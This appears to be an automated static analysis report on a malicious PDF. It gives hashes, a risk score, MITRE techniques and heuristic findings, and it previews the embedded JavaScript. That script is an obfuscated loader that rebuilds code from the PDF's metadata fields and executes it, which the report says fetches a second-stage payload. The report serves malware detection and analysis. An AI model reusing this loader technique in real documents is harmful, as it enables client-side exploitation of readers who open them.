Malicious PDF — malware analysis report

Static analysis result for SHA-256 799babfabea36409…

MALICIOUS

PDF

18.1 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode
MD5: 9ab8f763f1fe1ac5f130eb935603de26 SHA-1: 608a65c7621f27c3c58d6344fdc81952549af132 SHA-256: 799babfabea36409e9296ac8426361aa24bbf84bcb6043e39148acddc0e3fbba
114 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that is obfuscated using String.fromCharCode and other methods. The script appears to be designed to download and execute a second-stage payload from a remote source. The critical heuristic firing for PDF JavaScript exploit cluster strongly indicates exploitation of a known vulnerability.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js
3c226fadc603aa21659de317eb88201a7bcdc9b8b9d95c784144a28e277ed6fd
pdf-javascript-stream PDF /JS object 1 at offset 0x460D 365 bytes
Preview script
First 1,000 lines of the extracted script
var w = 4;
var cldx = this.title.replace(/w/g,'*w,');
cldx = cldx.replace(/t/g,'2');
cldx=cldx.substr(0,cldx.length-2) + ']';
vexqf=function(){return function(){return this}()}();
joczs=vexqf[this.subject];
efut=joczs(this.producer);
fign = joczs(cldx);
var s = '';
for (i = 0; i < fign.length; i++) {
	ujil = fign[i];
	s += efut(ujil);
}
joczs(s);